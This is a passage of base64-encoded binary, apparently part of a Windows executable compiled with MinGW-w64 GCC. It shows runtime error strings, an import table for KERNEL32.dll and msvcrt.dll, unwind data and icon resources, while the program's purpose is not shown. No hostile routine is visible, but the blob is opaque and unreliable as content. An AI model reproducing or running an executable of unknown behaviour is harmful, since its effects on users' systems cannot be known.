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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBBAAAAAAACgF0AAAAAAAAAAAAAAAAAAAAAAAAAAAADQGUAAAAAAAKAZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAwAAACgAAIAOAAAA+AAAgBAAAAAoAQCAAAAAAAAAAAAAAAAAAAAGAAEAAABoAACAAgAAAIAAAIADAAAAmAAAgAQAAACwAACABQAAAMgAAIAGAAAA4AAAgAAAAAAAAAAAAAAAAAAAAQAJBAAAYAEAAAAAAAAAAAAAAAAAAAAAAQAJBAAAcAEAAAAAAAAAAAAAAAAAAAAAAQAJBAAAgAEAAAAAAAAAAAAAAAAAAAAAAQAJBAAAkAEAAAAAAAAAAAAAAAAAAAAAAQAJBAAAoAEAAAAAAAAAAAAAAAAAAAAAAQAJBAAAsAEAAAAAAAAAAAAAAAAAAAEAAABYAQCAEAEAgAAAAAAAAAAAAAAAAAAAAQAJBAAAwAEAAAAAAAAAAAAAAAAAAAAAAQACAAAAQAEAgAAAAAAAAAAAAAAAAAAAAQAJBAAA0AEAAAIASQBEAAAA4LEAAOABAAAAAAAAAAAAAMCzAABgBwAAAAAAAAAAAAAguwAAqA8AAAAAAAAAAAAAyMoAAAgdAAAAAAAAAAAAANDnAACwbwAAAAAAAAAAAACAVwEASL4BAAAAAAAAAAAAyBUDAFoAAAAAAAAAAAAAACgWAwDEAgAAAAAAAAAAAAAoAAAACgAAABQAAAABACAAAAAAAJABAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8A////AAAAAAAAAAAA////AP///wD///8B////Af///wD///8CpdX2GUuw8Tc6qvNNW7b0To3L9zvE4/kfx97vBP///wC13vkKYLDsXzye6MMoluPxJZno+TWk8vlLrfL1bL/40pHT+3Ch1/gOXLDrbjCb6u4bk+v/H43e/yqIzv84o+f/NKz2/zSr+f9Dr/rzT7H1by6S2tEdkur/JJvx/y2X3v8jcq//QaDR/0u97/9BtvP/Iprt/zum8cgmidLbCoHd/w2E3/8afcb/HGei/x+G0P8fk+b/E4nf/w6H4v8/o+3aYrXohDCY4/YOhd//FYff/x+S6v8blfH/F5Lw/xGI4/81nOn+ZbfyoKHm+xOJ1PaAar7x6EWo6/4wn/D/K5vu/zqm8v9WuPT+YrrwxGCu5jH///8AqfP/B5/c+DqEzvaGidb6tYra+8B90PuyYL30fEqt7ia+vf8A////Af///wH///8A////AY7T/QVevPgMbLj3BTRT1QD///8A////AR4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAoAAAAFQAAACoAAAABACAAAAAAAOQGAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8A////AP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////AP///wH///8B////Af///wH///8B////Af///wH///8B////Af///wDb8/8Jze39HFy89jg7rPRXP631Z0+x9WtywfZnl872Wrnb9kK01/UlhL7wEBx22gL///8A////Af///wH///8B////Af///wG33/gAx+T6C7jf+EqMyPOVbLrw1kSw8PE7s/X3MKj0+Tip8/pTtvT5acD3947N+fSd0vnltd36s7Xd+GyYyPEfafn/AP///wH///8B////Af///wG13vgriMXxnUyl6ewnk+X/DYXh/wl+1/8Thtv/GZDq/xmR6v8Yku//F5Lv/xuU7f84pfP/YLz7/5LV/fmy4fvBrtv4R8Pn+AL///8BAYXiAJ/U9jNgsezGIo/k/guF4v8Mh+T/EInl/xKB1f8Wesf/HoDL/yaU4v8qovb/IZvy/xmT7P8VkOv/GpXv/zSp+f9cv/7/f8v83JnV+kEyqfYAktH3G3e977Eymuf/GpLq/yKY7v8imO7/Ipju/yiX5/8ugMH/NYjF/z6p6f9GtPH/Rrf1/0S6+/87svr/NKr5/zCo+f8vqPv/LqP4/0yr8bWNzfcZWbLuaFKp5fYmluf/I5vz/yOa8P8hl+z/JJru/zCb6P8me8H/K4vQ/zSJyP9CjcH/T7ns/0zD/v9Gvf7/R73+/zy0/f8wp/n/KqP3/zel8vJhtPNbP57frB+F0P8Yjef/HJf0/x6X8f8jmvD/Mqn3/zuq7/8Wbbb/FmKh/zB8tP9Xu9z/VsXt/1DA7f9UxOz/WMrw/0G07v8ckOX/FI7n/0Ky9f9dt/eXM4nJzhJ1wv8MhOH/Eozq/xiQ7P8hlen/MaPo/zOf3v8UU4b/Ek+B/yaEwv8rh7r/LJrX/zmq5f8+tO//Mqzw/x6Y6v8MhuP/BoHf/yuc7P9bsvS7NZHTwhF2xP8OhuL/BX/e/wd/3P8If9n/DH7T/xJzu/8YS3X/FlOG/xVkpP8Rc77/Dobi/w+E3v8PfdL/CX7a/wR/3v8HgeD/CYTi/yuW6f9ktfO7YLLjiy6Jzf8Ti+f/BoDe/wV92P8Jf9n/FIri/yKM3P8qgMH/K5Da/yqb7f8rofX/KqX8/yeh+/8gmfT/EoXc/weB3/8LhuP/GpDq/1Ov8/92wfiXnN/1N3m/6dYpk+P/Bn/d/weA3f8Jgt//Eorm/x2O4/8jk+b/JJv0/x+X8/8clvT/HJf0/xuW8/8YkvH/D4Xf/wZ81v8OhuP/Rqny/3TB9u94wfRXSdD/AqTn/V+M0vTrS6rq/xSJ4v8Ggd//CIHf/w1/1/8Wjen/GZTx/xWQ7v8Qi+n/D4no/w6J6P8Uj+//D4jl/xGF3f9Fp+7/cr3t/3S46K5Wq+4V////AGjS/AaW5vxeqOf715na+f9btvH/J5bm/xSJ4v8Qi+r/EIvr/w+L6v8Oiej/DYjo/xSN6/8mnPP/PKfy/2XA9/9/0Pn/X7Pq2Eag5TsAbNIA////Af///wEvtfYCh+P7N6no+6Sz5/zvodz3/33M9f9ivvX/TrHz/0Sq8v9Eq/P/TbL1/2PB+f9/1fz/k+H9/4LX+v1Zt/HPMZflSjuY6gL///8B////Af///wH///8Bltb4AFTD9Q13wvBHesTxnZjZ+dGr5v3vqej9/qfq/v+n6/7/pen+/5/j/v2I1PvtU7Txyi6b6IcmlOgnFXfiAv///wH///8B////Af///wH///8B////Af///wAvlOgAJYviBTei6yVKufZKasz5ZX3X+3l+2fuAcND7eUq4+WQhmfNIC4HoHwBV2QIAAGIA////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wD///8AAADOAAACzwEAC9oCAAHaAQAA2QD///8A////AP///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAAAAAD/gAACAAAACAAIAAAAAAAgAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAABABAAADGAAAAAAAAKAAAAB8AAAA+AAAAAQAgAAAAAAAEDwAAAAAAAAAAAAAAAAAAAAAAAP///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wD///8ANhqyADUXsQA1V80CTozgBHit6ARpqOkEK4rsBF+V6wRkkuQDAEXPAQAAjgAAALUA////AP///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AIbF9gB1vPQLntX5JnTJ+EVFs/RsOavziDys9JtHsvalT7T1qHzJ96SHzvicm9L3jrHY9negzvRWh8LxNXm27hthn+YEXp/mAP///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8A+v//Abne+Re64fpbuuH5oZjQ9ddku/H3Rrr1/kjC/P87tfv/Mqv5/zWp9v9buPP/Xrz1/3TF+P+m2Pr+u+H6/MHi+e233fjDp9X2iozD8EBoqOkKi73tAP///wH///8B////Af///wH///8B////Af///wGTzfUAut/5EL3h+V6j1PXDc7vv8z2f6P8kkuX/GI3k/xmP4v8dk+X/G5Lo/xuS6f8clOv/GJPs/x6Y7/8lnvL/LqDx/zyn9P9hu/r/ldL9/7jj/f3D6fvosdr3npDF8jFho+kD////Af///wH///8B////Af///wG17PwAxOX6J6vY9qFst+30KZPk/wiC4P8FgN//BIDf/wZ/3f8Hc8f/Dn/W/xaO6v8aku3/GpDq/xiR7f8clvT/FY/u/xCL6f8VkOv/G5bv/yii9/9ItP3/fc/+/7Ll/f/B5frUqNb2TnKu8QL///8B////Af///wH///QAuOH6MIzJ8sA8nef+CYLg/wSA3/8Jg+H/DIXj/w2G5P8Ngtz/DXXG/xF5yf8WecT/Gn/L/x+N3v8lnPT/I5z2/xmT7/8Tjer/D4nn/w6I5/8Ujur/H5rz/zat+/9PvP7/dcv+/5zZ/Nyo3ftI/Pb/AP///wE6qe0AtOH6HIbG8rkzmeb/CoTh/xKL5f8aker/HpXs/yCW7v8gl+3/I5bp/yiV4/8pfb7/LXa0/zGIyP85pOT/Qrf3/0G5/P8+tPn/OrH4/zat9v8wqPX/J5/z/yKa8f8jm/T/KaP6/yun/f89qfj/dsP2xqbe+x8NnPAAxPH/BITI9IFwuOz9NZzm/x6V6/8lm/D/KJ7y/yac8P8jme7/Ipjt/yee8v8ul+H/MIC//zeBv/88nNv/P6vq/0q38v9Lr+j/TLfx/07E//9Jv///Qrj//z2z/v87sf3/ObD9/zeu/P8xqfv/IJr1/yeX7PxruvJ7////AWe48jBete/UV6rj/ySU5P8jmvH/J571/yad8v8jme3/IJbr/yOY7P8tn/H/MZTa/yp6wP8titP/LpPY/zWN0P88gbj/RIy7/1HA9P9Oxv//SMD//0W9//9Gvv//RLv//zy0//82rf3/NKv8/zKp+/8lnfL/Sqnvx6zY/SFAn+RuO53f+iSK0/8Wi+P/G5X0/xuV8/8ak+//G5Pr/x2U6f8jme//Nqf5/yyQ2v8PZbP/EnnE/xhlpP8oYp7/RI+7/1